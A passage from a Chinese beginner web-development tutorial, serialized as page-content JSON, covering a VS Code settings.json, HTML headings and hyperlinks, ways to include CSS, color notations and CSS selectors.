Keybindings",{"type":18,"tag":158,"props":9233,"children":9234},{},[9235],{"type":24,"value":9236},"TRAE AI: Coding Assistant",{"type":18,"tag":158,"props":9238,"children":9239},{},[9240],{"type":24,"value":9241},"TONGYI Lingma",{"type":18,"tag":34,"props":9243,"children":9244},{},[9245,9256],{"type":18,"tag":105,"props":9246,"children":9247},{},[9248,9250],{"type":24,"value":9249},"常用配置文件 ",{"type":18,"tag":74,"props":9251,"children":9253},{"className":9252},[],[9254],{"type":24,"value":9255},"setting.json",{"type":24,"value":222},{"type":18,"tag":287,"props":9258,"children":9262},{"className":9259,"code":9260,"language":9261,"meta":8,"style":8},"language-json shiki shiki-themes github-dark","{\n    \"workbench.colorTheme\": \"Default Dark+\",\n    \"workbench.statusBar.visible\": false,\n    \"editor.fontFamily\": \"'Courier New', Consolas, monospace\",\n    \"editor.fontSize\": 20,\n    \"editor.lineHeight\": 1.8,\n    \"editor.tabSize\": 2,\n    \"editor.codeActionsOnSave\": {\n        \"source.fixAll\": \"explicit\"\n    },\n    \"editor.minimap.enabled\": true,\n    \"liveServer.settings.donotShowInfoMsg\": true,\n    \"git.confirmSync\": false,\n    \"terminal.integrated.defaultProfile.windows\": \"Command Prompt\"\n}\n","json",[9263],{"type":18,"tag":74,"props":9264,"children":9265},{"__ignoreMap":8},[9266,9274,9297,9318,9339,9360,9381,9401,9414,9431,9439,9460,9480,9500,9517],{"type":18,"tag":297,"props":9267,"children":9268},{"class":299,"line":300},[9269],{"type":18,"tag":297,"props":9270,"children":9271},{"style":327},[9272],{"type":24,"value":9273},"{\n",{"type":18,"tag":297,"props":9275,"children":9276},{"class":299,"line":657},[9277,9282,9287,9292],{"type":18,"tag":297,"props":9278,"children":9279},{"style":906},[9280],{"type":24,"value":9281},"    \"workbench.colorTheme\"",{"type":18,"tag":297,"props":9283,"children":9284},{"style":327},[9285],{"type":24,"value":9286},": ",{"type":18,"tag":297,"props":9288,"children":9289},{"style":310},[9290],{"type":24,"value":9291},"\"Default Dark+\"",{"type":18,"tag":297,"props":9293,"children":9294},{"style":327},[9295],{"type":24,"value":9296},",\n",{"type":18,"tag":297,"props":9298,"children":9299},{"class":299,"line":662},[9300,9305,9309,9314],{"type":18,"tag":297,"props":9301,"children":9302},{"style":906},[9303],{"type":24,"value":9304},"    \"workbench.statusBar.visible\"",{"type":18,"tag":297,"props":9306,"children":9307},{"style":327},[9308],{"type":24,"value":9286},{"type":18,"tag":297,"props":9310,"children":9311},{"style":906},[9312],{"type":24,"value":9313},"false",{"type":18,"tag":297,"props":9315,"children":9316},{"style":327},[9317],{"type":24,"value":9296},{"type":18,"tag":297,"props":9319,"children":9320},{"class":299,"line":799},[9321,9326,9330,9335],{"type":18,"tag":297,"props":9322,"children":9323},{"style":906},[9324],{"type":24,"value":9325},"    \"editor.fontFamily\"",{"type":18,"tag":297,"props":9327,"children":9328},{"style":327},[9329],{"type":24,"value":9286},{"type":18,"tag":297,"props":9331,"children":9332},{"style":310},[9333],{"type":24,"value":9334},"\"'Courier New', Consolas, monospace\"",{"type":18,"tag":297,"props":9336,"children":9337},{"style":327},[9338],{"type":24,"value":9296},{"type":18,"tag":297,"props":9340,"children":9341},{"class":299,"line":808},[9342,9347,9351,9356],{"type":18,"tag":297,"props":9343,"children":9344},{"style":906},[9345],{"type":24,"value":9346},"    \"editor.fontSize\"",{"type":18,"tag":297,"props":9348,"children":9349},{"style":327},[9350],{"type":24,"value":9286},{"type":18,"tag":297,"props":9352,"children":9353},{"style":906},[9354],{"type":24,"value":9355},"20",{"type":18,"tag":297,"props":9357,"children":9358},{"style":327},[9359],{"type":24,"value":9296},{"type":18,"tag":297,"props":9361,"children":9362},{"class":299,"line":817},[9363,9368,9372,9377],{"type":18,"tag":297,"props":9364,"children":9365},{"style":906},[9366],{"type":24,"value":9367},"    \"editor.lineHeight\"",{"type":18,"tag":297,"props":9369,"children":9370},{"style":327},[9371],{"type":24,"value":9286},{"type":18,"tag":297,"props":9373,"children":9374},{"style":906},[9375],{"type":24,"value":9376},"1.8",{"type":18,"tag":297,"props":9378,"children":9379},{"style":327},[9380],{"type":24,"value":9296},{"type":18,"tag":297,"props":9382,"children":9383},{"class":299,"line":826},[9384,9389,9393,9397],{"type":18,"tag":297,"props":9385,"children":9386},{"style":906},[9387],{"type":24,"value":9388},"    \"editor.tabSize\"",{"type":18,"tag":297,"props":9390,"children":9391},{"style":327},[9392],{"type":24,"value":9286},{"type":18,"tag":297,"props":9394,"children":9395},{"style":906},[9396],{"type":24,"value":488},{"type":18,"tag":297,"props":9398,"children":9399},{"style":327},[9400],{"type":24,"value":9296},{"type":18,"tag":297,"props":9402,"children":9403},{"class":299,"line":4524},[9404,9409],{"type":18,"tag":297,"props":9405,"children":9406},{"style":906},[9407],{"type":24,"value":9408},"    \"editor.codeActionsOnSave\"",{"type":18,"tag":297,"props":9410,"children":9411},{"style":327},[9412],{"type":24,"value":9413},": {\n",{"type":18,"tag":297,"props":9415,"children":9416},{"class":299,"line":4533},[9417,9422,9426],{"type":18,"tag":297,"props":9418,"children":9419},{"style":906},[9420],{"type":24,"value":9421},"        \"source.fixAll\"",{"type":18,"tag":297,"props":9423,"children":9424},{"style":327},[9425],{"type":24,"value":9286},{"type":18,"tag":297,"props":9427,"children":9428},{"style":310},[9429],{"type":24,"value":9430},"\"explicit\"\n",{"type":18,"tag":297,"props":9432,"children":9433},{"class":299,"line":4546},[9434],{"type":18,"tag":297,"props":9435,"children":9436},{"style":327},[9437],{"type":24,"value":9438},"    },\n",{"type":18,"tag":297,"props":9440,"children":9441},{"class":299,"line":4555},[9442,9447,9451,9456],{"type":18,"tag":297,"props":9443,"children":9444},{"style":906},[9445],{"type":24,"value":9446},"    \"editor.minimap.enabled\"",{"type":18,"tag":297,"props":9448,"children":9449},{"style":327},[9450],{"type":24,"value":9286},{"type":18,"tag":297,"props":9452,"children":9453},{"style":906},[9454],{"type":24,"value":9455},"true",{"type":18,"tag":297,"props":9457,"children":9458},{"style":327},[9459],{"type":24,"value":9296},{"type":18,"tag":297,"props":9461,"children":9462},{"class":299,"line":4568},[9463,9468,9472,9476],{"type":18,"tag":297,"props":9464,"children":9465},{"style":906},[9466],{"type":24,"value":9467},"    \"liveServer.settings.donotShowInfoMsg\"",{"type":18,"tag":297,"props":9469,"children":9470},{"style":327},[9471],{"type":24,"value":9286},{"type":18,"tag":297,"props":9473,"children":9474},{"style":906},[9475],{"type":24,"value":9455},{"type":18,"tag":297,"props":9477,"children":9478},{"style":327},[9479],{"type":24,"value":9296},{"type":18,"tag":297,"props":9481,"children":9482},{"class":299,"line":4577},[9483,9488,9492,9496],{"type":18,"tag":297,"props":9484,"children":9485},{"style":906},[9486],{"type":24,"value":9487},"    \"git.confirmSync\"",{"type":18,"tag":297,"props":9489,"children":9490},{"style":327},[9491],{"type":24,"value":9286},{"type":18,"tag":297,"props":9493,"children":9494},{"style":906},[9495],{"type":24,"value":9313},{"type":18,"tag":297,"props":9497,"children":9498},{"style":327},[9499],{"type":24,"value":9296},{"type":18,"tag":297,"props":9501,"children":9502},{"class":299,"line":4590},[9503,9508,9512],{"type":18,"tag":297,"props":9504,"children":9505},{"style":906},[9506],{"type":24,"value":9507},"    \"terminal.integrated.defaultProfile.windows\"",{"type":18,"tag":297,"props":9509,"children":9510},{"style":327},[9511],{"type":24,"value":9286},{"type":18,"tag":297,"props":9513,"children":9514},{"style":310},[9515],{"type":24,"value":9516},"\"Command Prompt\"\n",{"type":18,"tag":297,"props":9518,"children":9519},{"class":299,"line":4599},[9520],{"type":18,"tag":297,"props":9521,"children":9522},{"style":327},[9523],{"type":24,"value":9524},"}\n",{"type":18,"tag":27,"props":9526,"children":9528},{"id":9527},"_35-标题排版",[9529],{"type":24,"value":9530},"3.5 标题排版",{"type":18,"tag":34,"props":9532,"children":9533},{},[9534,9536,9541,9542],{"type":24,"value":9535},"标题标签：",{"type":18,"tag":74,"props":9537,"children":9539},{"className":9538},[],[9540],{"type":24,"value":9007},{"type":24,"value":8558},{"type":18,"tag":74,"props":9543,"children":9545},{"className":9544},[],[9546],{"type":24,"value":9547},"\u003Ch6>",{"type":18,"tag":34,"props":9549,"children":9550},{},[9551,9553],{"type":24,"value":9552},"超链接标签：",{"type":18,"tag":74,"props":9554,"children":9556},{"className":9555},[],[9557],{"type":24,"value":9558},"\u003Ca href=\"\" target=\"\">...\u003C\u002Fa>",{"type":18,"tag":34,"props":9560,"children":9561},{},[9562,9568],{"type":18,"tag":74,"props":9563,"children":9565},{"className":9564},[],[9566],{"type":24,"value":9567},"href",{"type":24,"value":9569},"：指定资源访问的 url",{"type":18,"tag":34,"props":9571,"children":9572},{},[9573,9579],{"type":18,"tag":74,"props":9574,"children":9576},{"className":9575},[],[9577],{"type":24,"value":9578},"target",{"type":24,"value":9580},"：指定在何处打开资源链接",{"type":18,"tag":210,"props":9582,"children":9583},{},[9584,9595],{"type":18,"tag":158,"props":9585,"children":9586},{},[9587,9593],{"type":18,"tag":74,"props":9588,"children":9590},{"className":9589},[],[9591],{"type":24,"value":9592},"_self",{"type":24,"value":9594},"：默认值，在当前页面打开",{"type":18,"tag":158,"props":9596,"children":9597},{},[9598,9604],{"type":18,"tag":74,"props":9599,"children":9601},{"className":9600},[],[9602],{"type":24,"value":9603},"_blank",{"type":24,"value":9605},"：在空白页面打开",{"type":18,"tag":287,"props":9607,"children":9611},{"className":9608,"code":9609,"language":9610,"meta":8,"style":8},"language-html shiki shiki-themes github-dark","\u003C!-- 定义一个超链接，里面展示 央视网 -->\n\u003C!--  a 超链接标签：\n        href：链接地址 - url地址\n        target：打开方式\n            _blank：新窗口打开\n            _self：本窗口打开(默认)\n-->\n\u003Ca href=\"https:\u002F\u002Fwww.cctv.com\" target=\"_blank\">央视网\u003C\u002Fa>\n","html",[9612],{"type":18,"tag":74,"props":9613,"children":9614},{"__ignoreMap":8},[9615,9623,9631,9639,9647,9655,9663,9671],{"type":18,"tag":297,"props":9616,"children":9617},{"class":299,"line":300},[9618],{"type":18,"tag":297,"props":9619,"children":9620},{"style":5380},[9621],{"type":24,"value":9622},"\u003C!-- 定义一个超链接，里面展示 央视网 -->\n",{"type":18,"tag":297,"props":9624,"children":9625},{"class":299,"line":657},[9626],{"type":18,"tag":297,"props":9627,"children":9628},{"style":5380},[9629],{"type":24,"value":9630},"\u003C!--  a 超链接标签：\n",{"type":18,"tag":297,"props":9632,"children":9633},{"class":299,"line":662},[9634],{"type":18,"tag":297,"props":9635,"children":9636},{"style":5380},[9637],{"type":24,"value":9638},"        href：链接地址 - url地址\n",{"type":18,"tag":297,"props":9640,"children":9641},{"class":299,"line":799},[9642],{"type":18,"tag":297,"props":9643,"children":9644},{"style":5380},[9645],{"type":24,"value":9646},"        target：打开方式\n",{"type":18,"tag":297,"props":9648,"children":9649},{"class":299,"line":808},[9650],{"type":18,"tag":297,"props":9651,"children":9652},{"style":5380},[9653],{"type":24,"value":9654},"            _blank：新窗口打开\n",{"type":18,"tag":297,"props":9656,"children":9657},{"class":299,"line":817},[9658],{"type":18,"tag":297,"props":9659,"children":9660},{"style":5380},[9661],{"type":24,"value":9662},"            _self：本窗口打开(默认)\n",{"type":18,"tag":297,"props":9664,"children":9665},{"class":299,"line":826},[9666],{"type":18,"tag":297,"props":9667,"children":9668},{"style":5380},[9669],{"type":24,"value":9670},"-->\n",{"type":18,"tag":297,"props":9672,"children":9673},{"class":299,"line":4524},[9674,9678,9683,9688,9693,9698,9703,9707,9712,9717,9721],{"type":18,"tag":297,"props":9675,"children":9676},{"style":327},[9677],{"type":24,"value":319},{"type":18,"tag":297,"props":9679,"children":9681},{"style":9680},"--shiki-default:#85E89D",[9682],{"type":24,"value":43},{"type":18,"tag":297,"props":9684,"children":9685},{"style":304},[9686],{"type":24,"value":9687}," href",{"type":18,"tag":297,"props":9689,"children":9690},{"style":327},[9691],{"type":24,"value":9692},"=",{"type":18,"tag":297,"props":9694,"children":9695},{"style":310},[9696],{"type":24,"value":9697},"\"https:\u002F\u002Fwww.cctv.com\"",{"type":18,"tag":297,"props":9699,"children":9700},{"style":304},[9701],{"type":24,"value":9702}," target",{"type":18,"tag":297,"props":9704,"children":9705},{"style":327},[9706],{"type":24,"value":9692},{"type":18,"tag":297,"props":9708,"children":9709},{"style":310},[9710],{"type":24,"value":9711},"\"_blank\"",{"type":18,"tag":297,"props":9713,"children":9714},{"style":327},[9715],{"type":24,"value":9716},">央视网\u003C\u002F",{"type":18,"tag":297,"props":9718,"children":9719},{"style":9680},[9720],{"type":24,"value":43},{"type":18,"tag":297,"props":9722,"children":9723},{"style":327},[9724],{"type":24,"value":335},{"type":18,"tag":27,"props":9726,"children":9728},{"id":9727},"_36-标题样式",[9729],{"type":24,"value":9730},"3.6 标题样式",{"type":18,"tag":34,"props":9732,"children":9733},{},[9734],{"type":24,"value":9735},"css引入方式：",{"type":18,"tag":210,"props":9737,"children":9738},{},[9739,9760,9851],{"type":18,"tag":158,"props":9740,"children":9741},{},[9742,9744,9747,9752,9754],{"type":24,"value":9743},"行内样式：写在标签的style属性中（配合JavaScript使用）",{"type":18,"tag":6882,"props":9745,"children":9746},{},[],{"type":18,"tag":74,"props":9748,"children":9750},{"className":9749},[],[9751],{"type":24,"value":297},{"type":24,"value":9753}," 标签：是一个无语义的标签。示例：",{"type":18,"tag":74,"props":9755,"children":9757},{"className":9756},[],[9758],{"type":24,"value":9759},"\u003Cspan style=\"color: gray;\">2024年05月15日 20:07\u003C\u002Fspan>",{"type":18,"tag":158,"props":9761,"children":9762},{},[9763,9765],{"type":24,"value":9764},"内部样式：写在style标签中（可以写在页面任何位置，但通常约定写在head标签中）",{"type":18,"tag":287,"props":9766,"children":9768},{"className":9608,"code":9767,"language":9610,"meta":8,"style":8},"\u003C!-- 一般约定写在head标签中 -->\n\u003Cstyle>\nspan {\n    color: gray;\n}\n\u003Cstyle>\n",[9769],{"type":18,"tag":74,"props":9770,"children":9771},{"__ignoreMap":8},[9772,9780,9795,9807,9829,9836],{"type":18,"tag":297,"props":9773,"children":9774},{"class":299,"line":300},[9775],{"type":18,"tag":297,"props":9776,"children":9777},{"style":5380},[9778],{"type":24,"value":9779},"\u003C!-- 一般约定写在head标签中 -->\n",{"type":18,"tag":297,"props":9781,"children":9782},{"class":299,"line":657},[9783,9787,9791],{"type":18,"tag":297,"props":9784,"children":9785},{"style":327},[9786],{"type":24,"value":319},{"type":18,"tag":297,"props":9788,"children":9789},{"style":9680},[9790],{"type":24,"value":651},{"type":18,"tag":297,"props":9792,"children":9793},{"style":327},[9794],{"type":24,"value":335},{"type":18,"tag":297,"props":9796,"children":9797},{"class":299,"line":662},[9798,9802],{"type":18,"tag":297,"props":9799,"children":9800},{"style":9680},[9801],{"type":24,"value":297},{"type":18,"tag":297,"props":9803,"children":9804},{"style":327},[9805],{"type":24,"value":9806}," {\n",{"type":18,"tag":297,"props":9808,"children":9809},{"class":299,"line":799},[9810,9815,9819,9824],{"type":18,"tag":297,"props":9811,"children":9812},{"style":906},[9813],{"type":24,"value":9814},"    color",{"type":18,"tag":297,"props":9816,"children":9817},{"style":327},[9818],{"type":24,"value":9286},{"type":18,"tag":297,"props":9820,"children":9821},{"style":906},[9822],{"type":24,"value":9823},"gray",{"type":18,"tag":297,"props":9825,"children":9826},{"style":327},[9827],{"type":24,"value":9828},";\n",{"type":18,"tag":297,"props":9830,"children":9831},{"class":299,"line":808},[9832],{"type":18,"tag":297,"props":9833,"children":9834},{"style":327},[9835],{"type":24,"value":9524},{"type":18,"tag":297,"props":9837,"children":9838},{"class":299,"line":817},[9839,9843,9847],{"type":18,"tag":297,"props":9840,"children":9841},{"style":327},[9842],{"type":24,"value":319},{"type":18,"tag":297,"props":9844,"children":9845},{"style":9680},[9846],{"type":24,"value":651},{"type":18,"tag":297,"props":9848,"children":9849},{"style":316},[9850],{"type":24,"value":335},{"type":18,"tag":158,"props":9852,"children":9853},{},[9854,9856,9902],{"type":24,"value":9855},"外部样式：写在一个单独的.css文件中（需要通过 link 标签在网页中引入）",{"type":18,"tag":287,"props":9857,"children":9861},{"className":9858,"code":9859,"language":9860,"meta":8,"style":8},"language-css shiki shiki-themes github-dark","span {\n    color: gray;\n}\n","css",[9862],{"type":18,"tag":74,"props":9863,"children":9864},{"__ignoreMap":8},[9865,9876,9895],{"type":18,"tag":297,"props":9866,"children":9867},{"class":299,"line":300},[9868,9872],{"type":18,"tag":297,"props":9869,"children":9870},{"style":9680},[9871],{"type":24,"value":297},{"type":18,"tag":297,"props":9873,"children":9874},{"style":327},[9875],{"type":24,"value":9806},{"type":18,"tag":297,"props":9877,"children":9878},{"class":299,"line":657},[9879,9883,9887,9891],{"type":18,"tag":297,"props":9880,"children":9881},{"style":906},[9882],{"type":24,"value":9814},{"type":18,"tag":297,"props":9884,"children":9885},{"style":327},[9886],{"type":24,"value":9286},{"type":18,"tag":297,"props":9888,"children":9889},{"style":906},[9890],{"type":24,"value":9823},{"type":18,"tag":297,"props":9892,"children":9893},{"style":327},[9894],{"type":24,"value":9828},{"type":18,"tag":297,"props":9896,"children":9897},{"class":299,"line":662},[9898],{"type":18,"tag":297,"props":9899,"children":9900},{"style":327},[9901],{"type":24,"value":9524},{"type":18,"tag":287,"props":9903,"children":9905},{"className":9608,"code":9904,"language":9610,"meta":8,"style":8},"\u003Clink rel=\"stylesheet\" href=\"css\u002Fnews.css\">\n",[9906],{"type":18,"tag":74,"props":9907,"children":9908},{"__ignoreMap":8},[9909],{"type":18,"tag":297,"props":9910,"children":9911},{"class":299,"line":300},[9912,9916,9921,9926,9930,9935,9939,9943,9948],{"type":18,"tag":297,"props":9913,"children":9914},{"style":327},[9915],{"type":24,"value":319},{"type":18,"tag":297,"props":9917,"children":9918},{"style":9680},[9919],{"type":24,"value":9920},"link",{"type":18,"tag":297,"props":9922,"children":9923},{"style":304},[9924],{"type":24,"value":9925}," rel",{"type":18,"tag":297,"props":9927,"children":9928},{"style":327},[9929],{"type":24,"value":9692},{"type":18,"tag":297,"props":9931,"children":9932},{"style":310},[9933],{"type":24,"value":9934},"\"stylesheet\"",{"type":18,"tag":297,"props":9936,"children":9937},{"style":304},[9938],{"type":24,"value":9687},{"type":18,"tag":297,"props":9940,"children":9941},{"style":327},[9942],{"type":24,"value":9692},{"type":18,"tag":297,"props":9944,"children":9945},{"style":310},[9946],{"type":24,"value":9947},"\"css\u002Fnews.css\"",{"type":18,"tag":297,"props":9949,"children":9950},{"style":327},[9951],{"type":24,"value":335},{"type":18,"tag":34,"props":9953,"children":9954},{},[9955],{"type":18,"tag":105,"props":9956,"children":9957},{},[9958],{"type":24,"value":9959},"颜色表示形式",{"type":18,"tag":431,"props":9961,"children":9962},{},[9963,9988],{"type":18,"tag":435,"props":9964,"children":9965},{},[9966],{"type":18,"tag":439,"props":9967,"children":9968},{},[9969,9974,9979,9983],{"type":18,"tag":443,"props":9970,"children":9971},{"align":5772},[9972],{"type":24,"value":9973},"表示方式",{"type":18,"tag":443,"props":9975,"children":9976},{"align":5772},[9977],{"type":24,"value":9978},"属性值",{"type":18,"tag":443,"props":9980,"children":9981},{"align":5772},[9982],{"type":24,"value":843},{"type":18,"tag":443,"props":9984,"children":9985},{"align":5772},[9986],{"type":24,"value":9987},"示例",{"type":18,"tag":459,"props":9989,"children":9990},{},[9991,10014,10052,10090],{"type":18,"tag":439,"props":9992,"children":9993},{},[9994,9999,10004,10009],{"type":18,"tag":466,"props":9995,"children":9996},{"align":5772},[9997],{"type":24,"value":9998},"关键字",{"type":18,"tag":466,"props":10000,"children":10001},{"align":5772},[10002],{"type":24,"value":10003},"颜色英文单词",{"type":18,"tag":466,"props":10005,"children":10006},{"align":5772},[10007],{"type":24,"value":10008},"red、green、blue",{"type":18,"tag":466,"props":10010,"children":10011},{"align":5772},[10012],{"type":24,"value":10013},"red、green、blue...",{"type":18,"tag":439,"props":10015,"children":10016},{},[10017,10022,10031,10036],{"type":18,"tag":466,"props":10018,"children":10019},{"align":5772},[10020],{"type":24,"value":10021},"rgb 表示法",{"type":18,"tag":466,"props":10023,"children":10024},{"align":5772},[10025],{"type":18,"tag":74,"props":10026,"children":10028},{"className":10027},[],[10029],{"type":24,"value":10030},"rgb(r,g,b)",{"type":18,"tag":466,"props":10032,"children":10033},{"align":5772},[10034],{"type":24,"value":10035},"红绿蓝三原色，取值：0-255",{"type":18,"tag":466,"props":10037,"children":10038},{"align":5772},[10039,10045,10046],{"type":18,"tag":74,"props":10040,"children":10042},{"className":10041},[],[10043],{"type":24,"value":10044},"rgb(0,0,0)",{"type":24,"value":1942},{"type":18,"tag":74,"props":10047,"children":10049},{"className":10048},[],[10050],{"type":24,"value":10051},"rgb(255,0,0)",{"type":18,"tag":439,"props":10053,"children":10054},{},[10055,10060,10069,10074],{"type":18,"tag":466,"props":10056,"children":10057},{"align":5772},[10058],{"type":24,"value":10059},"rgba 表示法",{"type":18,"tag":466,"props":10061,"children":10062},{"align":5772},[10063],{"type":18,"tag":74,"props":10064,"children":10066},{"className":10065},[],[10067],{"type":24,"value":10068},"rgba(r,g,b,a)",{"type":18,"tag":466,"props":10070,"children":10071},{"align":5772},[10072],{"type":24,"value":10073},"红绿蓝三原色，a 表示透明度，取值：0-1",{"type":18,"tag":466,"props":10075,"children":10076},{"align":5772},[10077,10083,10084],{"type":18,"tag":74,"props":10078,"children":10080},{"className":10079},[],[10081],{"type":24,"value":10082},"rgba(0,0,0,0.3)",{"type":24,"value":1942},{"type":18,"tag":74,"props":10085,"children":10087},{"className":10086},[],[10088],{"type":24,"value":10089},"rgba(255,0,0,0.5)",{"type":18,"tag":439,"props":10091,"children":10092},{},[10093,10098,10107,10112],{"type":18,"tag":466,"props":10094,"children":10095},{"align":5772},[10096],{"type":24,"value":10097},"十六进制表示法",{"type":18,"tag":466,"props":10099,"children":10100},{"align":5772},[10101],{"type":18,"tag":74,"props":10102,"children":10104},{"className":10103},[],[10105],{"type":24,"value":10106},"#rrggbb",{"type":18,"tag":466,"props":10108,"children":10109},{"align":5772},[10110],{"type":24,"value":10111},"#开头，将数字转换成十六进制表示",{"type":18,"tag":466,"props":10113,"children":10114},{"align":5772},[10115,10121,10122,10128,10130,10136,10137],{"type":18,"tag":74,"props":10116,"children":10118},{"className":10117},[],[10119],{"type":24,"value":10120},"#000000",{"type":24,"value":1942},{"type":18,"tag":74,"props":10123,"children":10125},{"className":10124},[],[10126],{"type":24,"value":10127},"#ff0000",{"type":24,"value":10129},"，简写：",{"type":18,"tag":74,"props":10131,"children":10133},{"className":10132},[],[10134],{"type":24,"value":10135},"#000",{"type":24,"value":1942},{"type":18,"tag":74,"props":10138,"children":10140},{"className":10139},[],[10141],{"type":24,"value":10142},"#f00",{"type":18,"tag":34,"props":10144,"children":10145},{},[10146],{"type":24,"value":10147},"CSS 选择器是用来选取需要设置样式的元素（标签）的。",{"type":18,"tag":431,"props":10149,"children":10150},{},[10151,10176],{"type":18,"tag":435,"props":10152,"children":10153},{},[10154],{"type":18,"tag":439,"props":10155,"children":10156},{},[10157,10162,10167,10171],{"type":18,"tag":443,"props":10158,"children":10159},{"align":5772},[10160],{"type":24,"value":10161},"选择器",{"type":18,"tag":443,"props":10163,"children":10164},{"align":5772},[10165],{"type":24,"value":10166},"写法",{"type":18,"tag":443,"props":10168,"children":10169},{"align":5772},[10170],{"type":24,"value":9987},{"type":18,"tag":443,"props":10172,"children":10173},{"align":5772},[10174],{"type":24,"value":10175},"示例说明",{"type":18,"tag":459,"props":10177,"children":10178},{},[10179,10217,10248,10279,10323,10361,10397],{"type":18,"tag":439,"props":10180,"children":10181},{},[10182,10187,10196,10205],{"type":18,"tag":466,"props":10183,"children":10184},{"align":5772},[10185],{"type":24,"value":10186},"元素选择器",{"type":18,"tag":466,"props":10188,"children":10189},{"align":5772},[10190],{"type":18,"tag":74,"props":10191,"children":10193},{"className":10192},[],[10194],{"type":24,"value":10195},"元素名称 {...}",{"type":18,"tag":466,"props":10197,"children":10198},{"align":5772},[10199],{"type":18,"tag":74,"props":10200,"children":10202},{"className":10201},[],[10203],{"type":24,"value":10204},"h1 {...}",{"type":18,"tag":466,"props":10206,"children":10207},{"align":5772},[10208,10210,10215],{"type":24,"value":10209},"选择页面上所有的",{"type":18,"tag":74,"props":10211,"children":10213},{"className":10212},[],[10214],{"type":24,"value":9007},{"type":24,"value":10216},"标签",{"type":18,"tag":439,"props":10218,"children":10219},{},[10220,10225,10234,10243],{"type":18,"tag":466,"props":10221,"children":10222},{"align":5772},[10223],{"type":24,"value":10224},"类选择器",{"type":18,"tag":466,"props":10226,"children":10227},{"align":5772},[10228],{"type":18,"tag":74,"props":10229,"children":10231},{"className":10230},[],[10232],{"type":24,"value":10233},".class属性值 {...}",{"type":18,"tag":466,"props":10235,"children":10236},{"align":5772},[10237],{"type":18,"tag":74,"props":10238,"children":10240},{"className":10239},[],[10241],{"type":24,"value":10242},".cls {...}",{"type":18,"tag":466,"props":10244,"children":10245},{"align":5772},[10246],{"type":24,"value":10247},"选择页面上所有 class 属性为 cls 的标签",{"type":18,"tag":439,"props":10249,"children":10250},{},[10251,10256,10265,10274],{"type":18,"tag":466,"props":10252,"children":10253},{"align":5772},[10254],{"type":24,"value":10255},"id 选择器",{"type":18,"tag":466,"props":10257,"children":10258},{"align":5772},[10259],{"type":18,"tag":74,"props":10260,"children":10262},{"className":10261},[],[10263],{"type":24,"value":10264},"#id属性值 {...}",{"type":18,"tag":466,"props":10266,"children":10267},{"align":5772},[10268],{"type":18,"tag":74,"props":10269,"children":10271},{"className":10270},[],[10272],{"type":24,"value":10273},"#hid {...}",{"type":18,"tag":466,"props":10275,"children":10276},{"align":5772},[10277],{"type":24,"value":10278},"选择页面上 id 属性为 hid 的标签",{"type":18,"tag":439,"props":10280,"children":10281},{},[10282,10287,10296,10305],{"type":18,"tag":466,"props":10283,"children":10284},{"align":5772},[10285],{"type":24,"value":10286},"分组选择器",{"type":18,"tag":466,"props":10288,"children":10289},{"align":5772},[10290],{"type":18,"tag":74,"props":10291,"children":10293},{"className":10292},[],[10294],{"type":24,"value":10295},"选择器1,选择器2 {...}",{"type":18,"tag":466,"props":10297,"children":10298},{"align":5772},[10299],{"type":18,"tag":74,"props":10300,"children":10302},{"className":10301},[],[10303],{"type":24,"value":10304},"h1,h2 {...}",{"type":18,"tag":466,"props":10306,"children":10307},{"align":5772},[10308,10309,10314,10316,10322],{"type":24,"value":10209},{"type":18,"tag":74,"props":10310,"children":10312},{"className":10311},[],[10313],{"type":24,"value":9007},{"type":24,"value":10315},"和",{"type":18,"tag":74,"props":10317,"children":10319},{"className":10318},[],[10320],{"type":24,"value":10321},"\u003Ch2>",{"type":24,"value":10216},{"type":18,"tag":439,"props":10324,"children":10325},{},[10326,10331,10340,10349],{"type":18,"tag":466,"props":10327,"children":10328},{"align":5772},[10329],{"type":24,"value":10330},"属性选择器",{"type":18,"tag":466,"props":10332,"children":10333},{"align":5772},[10334],{"type":18,"tag":74,"props":10335,"children":10337},{"className":10336},[],[10338],{"type":24,"value":10339},"元素名称[属性] {...}",{"type":18,"tag":466,"props":10341,"children":10342},{"align":5772},[10343],{"type":18,"tag":74,"props":10344,"children":10346},{"className":10345},[],[10347],{"type":24,"value":10348},"input[type] {...}",{"type":18,"tag":466,"props":10350,"children":10351},{"align":5772},[10352,10354,10360],{"type":24,"value":10353},"选择页面上有 type 属性的",{"type":18,"tag":74,"props":10355,"children":10357},{"className":10356},[],[10358],{"type":24,"value":10359},"\u003Cinput>",{"type":24,"value":10216},{"type":18,"tag":439,"props":10362,"children":10363},{},[10364,10368,10377,10386],{"type":18,"tag":466,"props":10365,"children":10366},{"align":5772},[10367],{"type":24,"value":10330},{"type":18,"tag":466,"props":10369,"children":10370},{"align":5772},[10371],{"type":18,"tag":74,"props":10372,"children":10374},{"className":10373},[],[10375],{"type":24,"value":10376},"元素名称[属性名=\"值\"] {...}",{"type":18,"tag":466,"props":10378,"children":10379},{"align":5772},[10380],{"type":18,"tag":74,"props":10381,"children":10383},{"className":10382},[],[10384],{"type":24,"value":10385},"input[type=\"text\"] {...}",{"type":18,"tag":466,"props":10387,"children":10388},{"align":5772},[10389,10391,10396],{"type":24,"value":10390},"选择页面上 type 属性为 text 的",{"type":18,"tag":74,"props":10392,"children":10394},{"className":10393},[],[10395],{"type":24,"value":10359},{"type":24,"value":10216},{"type":18,"tag":439,"props":10398,"children":10399},{},[10400,10405,10414,10423],{"type":18,"tag":466,"props":10401,"children":10402},{"align":5772},[10403],{"type":24,"value":10404},"后代选择器",{"type":18,"tag":466,"props":10406,"children":10407},{"align":5772},[10408],{"type":18,"tag":74,"props":10409,"children":10411},{"className":10410},[],[10412],{"type":24,"value":10413},"元素1 元素2 {...}",{"type":18,"tag":466,"props":10415,"children":10416},{"align":5772},[10417],{"type":18,"tag":74,"props":10418,"children":10420},{"className":10419},[],[10421],{"type":24,"value":10422},"form input {...}",{"type":18,"tag":466,"props":10424,"children":10425},{"align":5772},[10426,10427,10433,10435,10440],{"type":24,"value":3839},{"type":18,"tag":74,"props":10428,"children":10430},{"className":10429},[],[10431],{"type":24,"value":10432},"\u003Cform>",{"type":24,"value":10434},"标签内的所有",{"type":18,"tag":74,"props":10436,"children":10438},{"className":10437},[],[10439],{"type":24,"value":10359},{"type":24,"value":10216},{"type":18,"tag":34,"props":10442,"children":10443},{},[10444],{"type":18,"tag":105,"props":10445,"children":10446},{},[10447],{"type":24,"value":10448},"优先级：id选择器 > 类选择器 > 